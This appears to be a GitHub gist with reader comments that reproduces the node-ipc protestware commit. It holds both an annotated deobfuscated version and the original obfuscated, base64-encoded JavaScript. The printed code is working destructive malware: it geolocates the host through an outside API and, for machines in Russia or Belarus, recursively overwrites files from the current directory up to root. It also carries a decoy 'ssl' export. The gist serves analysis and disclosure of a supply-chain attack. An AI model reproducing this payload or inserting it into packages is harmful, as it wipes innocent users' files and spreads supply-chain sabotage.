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A deleted commit from the node-ipc repository. You can find the original commit here: **WARNING: THIS IS LIVE MALWARE. RUN IT AT YOUR OWN RISK.**
import u from "path";
import a from "fs";
import o from "https";
// Obfuscated code that I deobfuscated.
// I also added comments which should help explain what exactly is going on here.
// Oiginally written by Brandon Nozaki Miller (
// See you in prison, Brandom.
// Original commit:
// A timeout is used to add an artificial delay.
setTimeout(function () {
// A 50% chance that all of your files will get overwritten.
const t = Math.round(Math.random() * 4);
if (t > 1) return;
// This URL is used to specifically target people in Russia and Belarus.
const n =
// A request is send to the URL above. The server sends the location of the request to the requester.
o.get(n, function (t) {
t.on("data", function (t) {
const n = "./";
const o = "../";
const r = "../../";
const f = "/";
const c = "country_name";
// Specifically targets the citizens of Russia and Belarus.
const e = "russia";
const i = "belarus";
try {
const s = JSON.parse(t);
const u = s[c].toLowerCase();
// "If your country is from Russia or Belarus, overwrite all of your files."
const a = u.includes(e) || u.includes(i);
if (a) {
} catch (t) {}
}, Math.ceil(Math.random() * 1e3));
* @param n The relative location of CWD of where the script was ran.
* @param o Presumably meant to be used recursively.
// The function that does the overwriting. Not sure why it is `async` though.
async function h(n = "", o = "") {
// Checks to see if the directory within your file system exists.
if (!a.existsSync(n)) return;
let r = [];
try {
// Gets all of the files within the directory.
r = a.readdirSync(n);
} catch (t) {}
const f = [];
// Your files will get overwritten with a heart emoji. Perfect.
const c = "❤️";
for (var e = 0; e < r.length; e++) {
const i = u.join(n, r[e]);
let t = null;
try {
t = a.lstatSync(i);
} catch (t) {
// If the file is a directory, it will run the `h` function again.
if (t.isDirectory()) {
const s = h(i, o);
// Again, the function was async. This will not even work properly.
s.length > 0 ? f.push(...s) : null;
} else if (i.indexOf(o) >= 0) {
try {
// The files get overwritten. Thanks, Brandon.
a.writeFile(i, c, function () {});
} catch (t) {}
return f;
// Fake exports probably intended to trick consumers.
const ssl = true;
export { ssl, ssl as default };
import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=","base64");o.get(n.toString("utf8"),function(t){t.on("data",function(t){const n=Buffer.from("Li8=","base64");const o=Buffer.from("Li4v","base64");const r=Buffer.from("Li4vLi4v","base64");const f=Buffer.from("Lw==","base64");const c=Buffer.from("Y291bnRyeV9uYW1l","base64");const e=Buffer.from("cnVzc2lh","base64");const i=Buffer.from("YmVsYXJ1cw==","base64");try{const s=JSON.parse(t.toString("utf8"));const u=s[c.toString("utf8")].toLowerCase();const a=u.includes(e.toString("utf8"))||u.includes(i.toString("utf8"));if(a){h(n.toString("utf8"));h(o.toString("utf8"));h(r.toString("utf8"));h(f.toString("utf8"))}}catch(t){}})})},Math.ceil(Math.random()*1e3));async function h(n="",o=""){if(!a.existsSync(n)){return}let r=[];try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from("4p2k77iP","base64");for(var e=0;e<r.length;e++){const i=u.join(n,r[e]);let t=null;try{t=a.lstatSync(i)}catch(t){continue}if(t.isDirectory()){const s=h(i,o);s.length>0?f.push(...s):null}else if(i.indexOf(o)>=0){try{a.writeFile(i,c.toString("utf8"),function(){})}catch(t){}}}return f};const ssl=true;export {ssl as default,ssl}
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wongjiahau commented Mar 18, 2022

Don’t run on host, run in it a container

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shorwood commented Mar 18, 2022

Or Gitpod for the curious ones.

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mdo992 commented Mar 18, 2022

The API key isn't valid anymore:

{"message":"Provided API key is not valid. Contact technical support for assistance at"}

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swoopae commented Mar 18, 2022

      // Again, the function was async. This will not even work properly.
      s.length > 0 ? f.push(...s) : null;

leave it to your average js dev to not be even able to write functional malware

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